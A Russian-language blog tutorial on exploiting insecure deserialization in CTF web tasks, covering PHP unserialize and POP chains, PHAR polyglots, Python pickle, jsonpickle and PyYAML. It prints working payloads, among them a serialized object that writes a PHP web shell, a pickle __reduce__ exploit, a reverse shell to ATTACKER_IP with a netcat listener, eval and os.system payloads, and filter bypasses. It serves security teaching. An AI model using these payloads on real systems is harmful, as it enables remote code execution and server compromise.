Главная / Блог / Insecure Deserialization в CTF: эксплуатация

13 мин.00

Insecure Deserialization в CTF: эксплуатация

Insecure Deserialization в CTF: эксплуатация

CTF-джеопарди, категория web, задача за 400 очков. Приложение хранит сессию в cookie. Декодируешь base64 — внутри O:4:"User":2:{s:4:"role";s:4:"user";s:8:"username";s:5:"guest";}. Меняешь s:4:"user" на s:5:"admin", пересчитываешь длину — флаг в ответе. Семь минут от старта до solve. Но только если понимаешь, что значит каждый байт в этой строке.

Insecure deserialization эксплуатация — не про запуск готовых генераторов payload. Это ручной разбор формата, поиск точки входа и построение цепочки вызовов через классы, доступные на конкретном сервере. Генератор выплюнет строку, а дальше что? Фильтр на опкоды, кастомные классы без гаджетов в phpggc, HMAC на cookie. И вот тут начинается настоящая работа.

PHP unserialize уязвимость: анатомия сериализованной строки

PHP-сериализация — формат, в котором объекты упаковываются в строки для хранения и передачи. serialize() превращает объект в текст, unserialize() восстанавливает обратно. Уязвимость десериализации CTF начинается в момент, когда в unserialize() попадают данные, контролируемые пользователем. Подробнее — в нашем руководстве по создание ctf заданий.

Разберём строку O:4:"User":2:{s:8:"username";s:6:"vickie";s:6:"status";s:9:"not admin";} побайтово:

  • O — тип данных, объект
  • 4 — длина имени класса (четыре символа)
  • "User" — имя класса
  • 2 — количество свойств объекта
  • Внутри фигурных скобок — пары ключ-значение: s:8:"username" означает строку длиной 8 символов, s:6:"vickie" — значение длиной 6

Полный набор типов: b — boolean, i — integer, d — float, s — string (с длиной), a — array, O — object. Для CTF критичны два момента: длина в s:LENGTH:"VALUE" обязана совпадать с реальной длиной значения, а число свойств в заголовке объекта — с фактическим количеством пар внутри скобок. Ошиблись на один символ — unserialize() вернёт false, и эксплойт молча сдохнет.

Где встречаются сериализованные данные: cookie, POST-параметры, скрытые поля форм, хранилища сессий. По классификации OWASP — это A08:2021 (Software and Data Integrity Failures), CWE-502 (Deserialization of Untrusted Data). В матрице MITRE ATT&CK эксплуатация маппится на T1190 (Exploit Public-Facing Application, Initial Access): crafted payload на публичный эндпоинт — и выполнение кода на сервере без аутентификации.

Бизнес-логика атаки за пределами CTF: через десериализацию атакующий получает RCE без credentials. Не нужна SQL-инъекция, не нужна загрузка файлов — достаточно контролировать вход в unserialize(). Даже без прямого RCE результатом может быть повышение привилегий, чтение произвольных файлов или DoS (PortSwigger Web Security Academy подтверждает). В реальной атакующей цепочке десериализация объектов PHP чаще всего используется для initial access с последующей загрузкой инструментов (T1105, Ingress Tool Transfer) и горизонтальным перемещением.

Magic methods PHP и эксплуатация объектов

Десериализация объектов PHP становится по-настоящему опасной из-за магических методов — функций, которые вызываются автоматически на определённых этапах жизни объекта. Три ключевых для эксплуатации PHP объектов:

__wakeup() срабатывает сразу после десериализации. Если внутри — eval(), system(), file_put_contents() или другой опасный вызов с параметрами из свойств объекта, атакующий контролирует аргументы через подмену значений в сериализованной строке.

__destruct() срабатывает при уничтожении объекта — даже если приложение вообще не обращается к десериализованному объекту. Скрипт завершится, PHP вызовет деструктор, код отработает. Ключевой момент: атака завершается раньше, чем приложение «решит», нужен ему этот объект или нет. Деструктору всё равно.

__toString() срабатывает при приведении объекта к строке: echo, конкатенация, логирование. Десериализованный объект попал в любую строковую операцию — метод выполнится.

Классический паттерн эксплуатации magic methods PHP в CTF — класс с деструктором, который пишет данные в файл:

class Logger {
    public $logFile;
    public $logData;
    function __destruct() {
        file_put_contents($this->logFile, $this->logData);
    }
}
// Payload:
// O:6:"Logger":2:{s:7:"logFile";s:9:"shell.php";
// s:7:"logData";s:27:"<?php system($_GET['c']);?>";}

При десериализации PHP создаёт объект Logger со свойствами logFile = "shell.php" и logData = "<?php system($_GET['c']);?>". Скрипт завершается — __destruct() записывает веб-шелл на диск через file_put_contents(). Приложению не нужно вызывать этот объект. Достаточно самого факта создания.

Второй частый вариант: класс с __wakeup(), внутри которого eval($this->hook). Payload генерируется элементарно — создаёшь экземпляр класса с нужным значением свойства hook, сериализуешь, отправляешь. Для генерации через PHP CLI хватит однострочника: php -r "class X{public \$hook='phpinfo();';} echo serialize(new X);".

Нюанс, который на CTF выручает регулярно: в старых версиях PHP (до 7.4) работает bypass __wakeup(). Указываешь в сериализованной строке количество свойств больше реального (например, O:4:"Test":2:{...} вместо O:4:"Test":1:{...}) — метод __wakeup() не вызовется, а __destruct() всё ещё сработает. Этот трюк появляется в задачах с пометкой «PHP < 8.0» — запомните, он спасает, когда __wakeup() содержит проверку, блокирующую эксплуатацию.

Gadget chain PHP: строим POP-цепочку руками

Простейший случай — один класс с eval() в магическом методе. На практике такого почти не бывает. В реальных CTF-задачах уровня medium-hard и на пентестах нужно выстроить цепочку вызовов через несколько классов — Property Oriented Programming (POP) chain. Именно gadget chain PHP делает десериализацию по-настоящему злым вектором.

Принцип POP chain: __destruct() первого объекта вызывает метод у свойства, которое само является объектом другого класса. Тот через __toString() или __call() дёргает метод у третьего — и так до sink-функции (eval(), system(), file_put_contents()).

Конкретный пример. Класс Cache в деструкторе вызывает $this->store->save($this->data). Класс FileHandler имеет метод save($content), который вызывает file_put_contents($this->path, $content). Собираем POP chain: создаём объект Cache, у которого свойство $store — объект FileHandler с контролируемым $path, а $data — PHP-шелл. При десериализации Cache.__destruct() вызывает FileHandler::save(), тот записывает шелл на диск. Два класса, ни один не содержит eval() напрямую — но цепочка даёт RCE.

Для сборки POP chain нужен исходный код приложения или список доступных классов. На CTF код обычно дан в задании или доступен через source disclosure. На реальных проектах классы подтягиваются из фреймворков — Laravel, Symfony, WordPress. Для автоматизации есть phpggc. Команда phpggc Laravel/RCE1 system id создаёт готовую сериализованную строку, которая при десериализации в Laravel-приложении выполнит system('id'). Просмотр доступных цепочек — phpggc -l, фильтрация по фреймворку — phpggc -l Laravel.

Типичный workflow на CTF: определяешь фреймворк через заголовки ответа, структуру URL или файлы конфигурации (.env, composer.json через LFI), подбираешь цепочку из phpggc, генерируешь payload, кодируешь в base64 или URL-encode, подставляешь в cookie или параметр. Но phpggc работает только с известными gadget chains — для кастомных приложений придётся строить цепочку руками, читая исходники. И вот тут phpggc уже не помощник.

PHAR десериализация объектов PHP

PHAR (PHP Archive) — формат архивов, где метаданные хранятся в сериализованном виде. При обращении к PHAR-файлу через stream wrapper phar:// PHP автоматически десериализует метаданные — без явного вызова unserialize(). Вдумайтесь: десериализация без unserialize() в коде.

Это расширяет поверхность атаки десериализации объектов PHP. Если приложение обрабатывает пользовательские файлы функциями, поддерживающими stream wrappers (file_exists(), is_dir(), file_get_contents(), fopen(), filesize()), и путь контролируется пользователем — можно подсунуть PHAR и триггернуть десериализацию.

Техника атаки: создаётся PHAR-архив с вредоносным объектом в метаданных. Для обхода проверки формата файла используется polyglot — файл, валидный одновременно как JPEG и как PHAR. JPEG-заголовок (\xFF\xD8) ставится первым для парсера изображений, а __HALT_COMPILER(); маркирует начало PHAR-данных. Загружаешь polyglot как «картинку», затем обращаешься через phar:///path/to/upload.jpg — PHP десериализует метаданные с gadget chain внутри.

На CTF задачи с PHAR обычно комбинируют два шага: файловый аплоад с проверкой MIME-типа (обходится polyglot) и триггер десериализации через LFI или параметр пути. Генерация PHAR с gadget chain — через phpggc с флагом --phar или вручную через класс Phar в PHP CLI. На форуме Codeby описан кейс, где фильтр на phar:// обходился заменой регистра на PHAR:// — сервер проверял подстроку case-sensitive. Типичный паттерн: чёрный список без нормализации. Встречается чаще, чем хотелось бы.

Python pickle RCE: эксплуатация через reduce

Python использует модуль pickle для сериализации объектов. В отличие от PHP, где нужен уязвимый класс с магическим методом на стороне сервера, python pickle RCE опасен by design: любой вызов pickle.loads() с контролируемыми данными — потенциальный RCE. Официальная документация Python предупреждает прямым текстом: «pickle is not secure against maliciously constructed data». Не «будьте осторожны» — а «не безопасно».

Механизм — метод __reduce__(). При десериализации pickle проверяет его наличие: метод возвращает кортеж из вызываемой функции и кортежа аргументов. Атакующий определяет класс, чей __reduce__() возвращает (os.system, ('id',)) — при десериализации pickle вызовет os.system('id') без валидации.

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(Exploit())
# pickle.loads(payload) выполнит os.system('id')

Payload — байтовая строка, для передачи через HTTP кодируется в base64. На CTF типичный сценарий: Flask-приложение хранит сессию в подписанном cookie. Если секретный ключ слабый (secret, changeme, supersecret — да, люди реально так делают) или утёк через SSTI, .env disclosure — заменяешь cookie на сериализованный exploit. По MITRE ATT&CK это T1059.006 (Python, Execution) и T1059.004 (Unix Shell) при использовании reverse shell payload.

Для reverse shell в __reduce__() возвращаешь (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1',)). На стороне атакующего — nc -lvnp 4444. Deserialization RCE практика с pickle — один из самых быстрых векторов на CTF: не нужны gadget chains, не нужен доступ к исходникам для построения payload. Нашёл точку входа — через минуту у тебя шелл.

Pickle opcode exploit: что происходит внутри байт-кода

Бинарная строка pickle — не чёрный ящик. Это последовательность опкодов стековой виртуальной машины. Модуль pickletools дизассемблирует payload: python3 -c "import pickletools; pickletools.dis(open('payload','rb').read())":

    0: \x80 PROTO      4
    2: \x95 FRAME      26
   11: \x8c SHORT_BINUNICODE 'posix'
   18: \x8c SHORT_BINUNICODE 'system'
   26: \x93 STACK_GLOBAL
   27: \x8c SHORT_BINUNICODE 'id'
   30: \x85 TUPLE1
   31: R    REDUCE
   32: .    STOP

Читается сверху вниз: STACK_GLOBAL помещает posix.system на стек, SHORT_BINUNICODE 'id' кладёт аргумент, TUPLE1 оборачивает его в кортеж, а REDUCE (опкод R) вызывает функцию с аргументами. Опкод R — главный для pickle opcode exploit: берёт со стека callable и кортеж аргументов, выполняет вызов.

Зачем разбирать опкоды на CTF: задачи hard-уровня нередко содержат фильтр, блокирующий определённые опкоды. Если R (REDUCE) в чёрном списке — стандартный __reduce__() не пройдёт. Payload собирается вручную через альтернативные опкоды: o (OBJ), i (INST) или комбинацию c (GLOBAL) + ( (MARK) + t (TUPLE). Без понимания pickle VM эти задачи не решаются. Точка.

Ещё сценарий: в задании дан бинарный blob, который нужно проанализировать. Дизассемблирование через pickletools.dis() моментально покажет, что внутри — вызов os.system, subprocess.Popen или builtins.eval. Быстрее, чем пытаться десериализовать payload в песочнице и гадать, что произошло.

Десериализация за пределами pickle: jsonpickle и PyYAML

Python pickle RCE — классический вектор, но CTF web эксплоиты через десериализацию встречаются и в других библиотеках. Две самые распространённые — jsonpickle и PyYAML.

jsonpickle сериализует Python-объекты в JSON, сохраняя информацию о типах. В отличие от стандартного json, jsonpickle поддерживает произвольные классы, включая __reduce__(). CVE-2020-22083 (CVSS 9.8, CRITICAL, CWE-502) затрагивает jsonpickle до версии 1.4.1 включительно: jsonpickle.decode() на вредоносном JSON даёт RCE. Вектор: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — сетевая атака, низкая сложность, без аутентификации, полный компромисс. По EPSS (Exploit Prediction Scoring System от FIRST.org) вероятность эксплуатации входит в top 10% среди всех известных уязвимостей (percentile 0.9370).

Payload выглядит как обычный JSON: {"py/reduce": [{"py/function": "builtins.eval"}, {"py/tuple": ["__import__('os').system('id')"]}]}. Отправляется через HTTP POST — если эндпоинт обрабатывает тело через jsonpickle.decode(), код исполняется немедленно. Маркеры jsonpickle-сериализации в JSON: ключи py/object, py/reduce, py/function (SentinelOne). Маскировка под легитимный JSON делает такие payload сложнее для обнаружения WAF, чем бинарный pickle — WAF видит валидный JSON и пропускает.

Red Hat в advisory по CVE-2020-22083 пишет прямо: это «documented expected behavior consistent with pickle's security model». По сути, уязвимость не в библиотеке, а в архитектурном решении использовать pickle-подобную десериализацию для данных из ненадёжных источников. По документам — всё правильно. На практике — RCE.

PyYAML — второй вектор уязвимости десериализации за пределами pickle. yaml.load() без безопасного загрузчика поддерживает Python-специфичные теги для инстанцирования объектов. Payload !!python/object/apply:os.system ['id'] при обработке через yaml.load(user_input) выполнит системную команду. По данным PortSwigger и Safeguard.sh, этот класс уязвимостей затрагивал крупные проекты, включая DevOps-инструменты. Защита — yaml.safe_load(), которая не поддерживает произвольные Python-объекты.

На CTF задачи с PyYAML маскируются под «загрузку конфигурации» или «импорт настроек» — эндпоинт принимает YAML-файл и парсит его небезопасным загрузчиком. Распознать вектор можно по Content-Type: application/x-yaml в запросах или по наличию YAML-полей в интерфейсе. Увидели поле «загрузить конфиг» — сразу проверяйте, что там под капотом.

Методология CTF web эксплоитов при десериализации

Поиск уязвимостей десериализации CTF начинается с распознавания формата данных в трафике. Характерные маркеры:

PHP сериализация: строка начинается с O: (объект), a: (массив), s: (строка). В base64 — паттерны Tz, YT. В cookie может быть URL-encoded. Проверка в Burp Suite: Decoder → base64 decode → визуальный поиск O:LENGTH:"CLASSNAME".

Python pickle: бинарные данные с magic bytes \x80\x03 (protocol 3), \x80\x04 (protocol 4), \x80\x05 (protocol 5). В base64 характерные начала: gASV, gANj. Нечитаемый base64 в cookie с такими magic bytes — с высокой вероятностью pickle.

jsonpickle: валидный JSON с ключами py/object, py/reduce, py/type, py/function. Выглядит как обычный API-ответ, но содержит Python-специфичные маркеры.

Пошаговый workflow эксплуатации:

  1. Найти точку входа. Cookie, POST-параметр, заголовок с нестандартным содержимым. Burp Suite Proxy покажет параметры с base64-контентом — декодируй каждый подозрительный.

  2. Определить формат. Декодировать, проверить структуру. PHP — текстовый с O: / a:. Pickle — бинарный с \x80. JSON с ключами py/ — jsonpickle. YAML — если эндпоинт принимает YAML-данные.

  3. Получить исходный код. На CTF код часто дан в задании, доступен через LFI, source disclosure или .git exposure. Для PHP — искать классы с __wakeup(), __destruct(), __toString() и строить POP chain. Для Python — искать pickle.loads(), jsonpickle.decode(), yaml.load() без safe loader.

  4. Построить payload. PHP — вручную конструировать сериализованную строку (пересчитать все длины!) или использовать phpggc для известных фреймворков. Python — написать класс с __reduce__(), вызвать pickle.dumps().

  5. Доставить и проверить. Закодировать payload (base64, URL-encode), подставить в cookie/параметр, отправить. Верификация — через OOB-callback: DNS-запрос на контролируемый домен (curl ATTACKER.burpcollaborator.net), HTTP-запрос на webhook.site, или прямой вывод команды в ответе.

Типичные ошибки на CTF, которые стоят часов: забыть пересчитать длину строки после изменения значения в PHP-payload (вместо s:4:"user" при замене на admin нужно s:5:"admin"), не URL-encode бинарные данные pickle перед подстановкой в параметр, пытаться использовать phpggc для кастомного приложения без фреймворка. Третья ошибка — моя любимая: человек полчаса подбирает цепочку из phpggc для приложения, написанного на голом PHP без единого фреймворка.

Insecure deserialization эксплуатация сводится к формуле: контролируемый вход + опасный sink + путь от входа до sink через доступные классы. На простых задачах путь прямой (один класс с eval() в __wakeup()). На сложных — нужно строить POP chain через три-пять классов, читая исходники и отслеживая поток данных от свойств объекта до sink-функции.

Большинство CTF-игроков, с которыми я работаю на турнирах, учат десериализацию через шаблоны: pickle — __reduce__() с os.system, PHP — запускаешь phpggc, YAML — !!python/object. Шаблоны закрывают easy и часть medium. На hard-задачах шаблоны ломаются: кастомные классы без готовых гаджетов, фильтры на pickle-опкоды, HMAC на cookie, PHAR с polyglot через нестандартный формат.

И тут выясняется, что человек не может собрать POP chain вручную. Не понимает разницу между опкодами R, o и i. Не знает, как обойти __wakeup() через подмену количества свойств. Шаблонный подход создаёт иллюзию владения темой.

Реальное владение — это когда получаешь бинарный blob, дизассемблируешь через pickletools.dis(), видишь заблокированный опкод и за полчаса собираешь альтернативный payload руками. Или когда в PHP-приложении нет ни одного класса с eval() в магическом методе, но через цепочку из четырёх классов добираешься до file_put_contents() и пишешь шелл. Навык строить цепочки руками — то, что отделяет решающего задачи от решающего задачи уровня финала. Если хочешь не просто writeup, а пройти всю атаку самому с нарастающей сложностью — WAPT даёт именно такую прогрессию с лабами на каждый кейс.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Декодирование кодировок CTF: алгоритм и инструменты

13 мин.

4

Декодирование кодировок CTF: алгоритм и инструменты

Пошаговый алгоритм распознавания Base64, Hex, Base32 и других кодировок в CTF-тасках. Таблица визуальных признаков, CyberChef-рецепты и Python-скрипт автоматизации.

19 ОКТЯБРЬ, 2026

XXE инъекция в CTF: от файлов до SSRF

12 мин.

3

XXE инъекция в CTF: от файлов до SSRF

Пошаговый разбор XXE-инъекций для CTF: от чтения /etc/passwd до blind OOB-эксфильтрации по FTP и SSRF на облачные метаданные. Пейлоады, обход фильтров, чеклист.

19 ОКТЯБРЬ, 2026

Race Condition в CTF: эксплуатация гонки на практике

13 мин.

6

Race Condition в CTF: эксплуатация гонки на практике

TOCTOU, single-packet attack и Turbo Intruder для эксплуатации race condition в CTF. Writeup PortSwigger и m0leCon, скрипты, реальные CVE и чек-лист поиска.

18 ОКТЯБРЬ, 2026